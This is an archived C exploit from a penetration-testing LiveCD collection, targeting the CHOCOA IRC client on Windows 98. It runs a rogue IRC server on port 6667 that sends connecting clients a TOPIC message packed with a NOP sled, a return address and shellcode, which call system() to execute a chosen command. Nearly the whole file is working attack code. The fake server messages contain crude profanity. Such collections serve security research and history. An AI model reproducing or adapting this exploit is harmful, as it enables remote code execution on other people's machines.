home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / irc / ex_chocoa.c < prev    next >
Encoding:
C/C++ Source or Header  |  2005-02-12  |  3.9 KB  |  134 lines
  1. /*=============================================================================
  2.    IRC Client CHOCOA Version 1.0beta7R Exploit for Windows98
  3.    The Shadow Penguin Security (http://shadowpenguin.backsection.net)
  4.    Written by
  5.     UNYUN     (shadowpenguin@backsection.net)
  6.     R00t Zer0 (defcon0@ugtop.com)
  7.   =============================================================================
  8. */
  9.  
  10. #include <stdio.h>
  11. #include <stdlib.h>
  12. #include <string.h>
  13. #include <signal.h>
  14. #include <errno.h>
  15. #include <unistd.h>
  16. #include <netdb.h>
  17. #include <sys/types.h>
  18. #include <sys/time.h>
  19. #include <sys/socket.h>
  20. #include <sys/wait.h>
  21. #include <netinet/in.h>
  22. #include <arpa/inet.h>
  23.  
  24. #define     RETADR          610
  25. #define     JMPADR          606
  26. #define     JMPOFS          6
  27. #define     BUFEND          2200
  28. #define     JMP_EBX_ADR     0xbff7a06b
  29. #define     CMDLENP         0x41
  30. #define     PORT            6667
  31. #define     COMMAND         "notepad.exe \\autoexec.bat"
  32. #define     FUNC            "msvcrt.dll.system.exit."
  33.  
  34. #define     NOP             0x90
  35. #define     JMPS            0xeb
  36.  
  37. unsigned char exploit_code[200]={
  38.   0xEB,0x4B,0x5B,0x53,0x32,0xE4,0x83,0xC3,0x0B,0x4B,0x88,0x23,0xB8,0x50,0x77,
  39.   0xF7,0xBF,0xFF,0xD0,0x8B,0xD0,0x52,0x43,0x53,0x52,0x32,0xE4,0x83,0xC3,0x06,
  40.   0x88,0x23,0xB8,0x28,0x6E,0xF7,0xBF,0xFF,0xD0,0x8B,0xF0,0x5A,0x43,0x53,0x52,
  41.   0x32,0xE4,0x83,0xC3,0x04,0x88,0x23,0xB8,0x28,0x6E,0xF7,0xBF,0xFF,0xD0,0x8B,
  42.   0xF8,0x43,0x53,0x83,0xC3,0x0B,0x32,0xE4,0x88,0x23,0xFF,0xD6,0x33,0xC0,0x50,
  43.   0xFF,0xD7,0xE8,0xB0,0xFF,0xFF,0xFF,0x00};
  44.  
  45. #define OPENING_MSG \
  46.     ":irc.hoge.com 001 FUCKER "\
  47.     ":Welcome to the Internet Relay Network FUCKER!=fuck@127.0.0.1\n"\
  48.     ":End of /MOTD command.\n"
  49.  
  50. #define JOIN1 \
  51.     ":fucker!=fuck@127.0.0.1 JOIN "\
  52.     ":#fuck\n"\
  53.     ":irc.hoge.com 353 fucker @ #fuck "\
  54.     ":fucker uzee"
  55.  
  56. #define JOIN2 \
  57.     ":irc.hoge.com 366 fucker #fuck "\
  58.     ":End of /NAMES list.\n"
  59.  
  60. void handleSIGCHLD(int i)
  61. {
  62.     int status;
  63.  
  64.     wait(&status);
  65.     signal(SIGCHLD, handleSIGCHLD);
  66. }
  67.  
  68. int main(int argc, char *argv[])
  69. {
  70.     int     serv_sock,cli_sock;
  71.     int     pid,clilen,p,ip;
  72.     char    buff[30000],jank[10000];
  73.     struct  sockaddr_in serv_addr;
  74.     struct  sockaddr_in cli_addr;
  75.     
  76.     signal( SIGCHLD, handleSIGCHLD );
  77.  
  78.     memset(jank,NOP,BUFEND);
  79.     strcat(exploit_code,FUNC);
  80.     strcat(exploit_code,COMMAND);
  81.     exploit_code[CMDLENP]=strlen(COMMAND);
  82.     strncpy(jank+RETADR+4,exploit_code,strlen(exploit_code));
  83.  
  84.     ip=JMP_EBX_ADR;
  85.     jank[JMPADR]  =JMPS;
  86.     jank[JMPADR+1]=JMPOFS;
  87.     jank[RETADR+3]=0xff&(ip>>24);
  88.     jank[RETADR+2]=0xff&(ip>>16);
  89.     jank[RETADR+1]=0xff&(ip>>8);
  90.     jank[RETADR]  =ip&0xff;
  91.     jank[BUFEND]  =0;
  92.  
  93.     if((serv_sock=socket(PF_INET,SOCK_STREAM,0))<0){
  94.         perror("socket");
  95.         exit(1);
  96.     }
  97.     bzero(( char *)&serv_addr, sizeof(serv_addr));
  98.     serv_addr.sin_family        = PF_INET;
  99.     serv_addr.sin_addr.s_addr   = htonl(INADDR_ANY);
  100.     serv_addr.sin_port          = htons(PORT);
  101.     if(bind(serv_sock,(struct sockaddr *)&serv_addr,sizeof(serv_addr))<0){
  102.         perror("bind");
  103.         exit(1);
  104.     }
  105.     listen(serv_sock,5 );
  106.     
  107.     while(1){
  108.         clilen   = sizeof(cli_addr);
  109.         cli_sock = accept(serv_sock,(struct sockaddr *)&cli_addr,&clilen);
  110.         if( cli_sock<0){
  111.             if(errno==EINTR) continue;
  112.             perror("accept" );
  113.             exit(1);
  114.         }
  115.         if((pid=fork())<0){
  116.             perror( "fork" );
  117.             exit(1);
  118.         }
  119.         if(pid==0){
  120.             close(serv_sock);
  121.             send(cli_sock, OPENING_MSG, strlen(OPENING_MSG),0);
  122.             send(cli_sock, JOIN1, strlen(JOIN1),0);
  123.             send(cli_sock, "\n",1,0 );
  124.             send(cli_sock, JOIN2, strlen(buff),0);
  125.             sprintf( buff, ":fucker!~fuck@127.0.0.1 TOPIC #fuck :%s\n", jank );
  126.             send(cli_sock, buff, strlen(buff),0);
  127.             sleep(1800);
  128.             exit(0);
  129.         }else
  130.             close(cli_sock);
  131.     }
  132. }
  133.  
  134.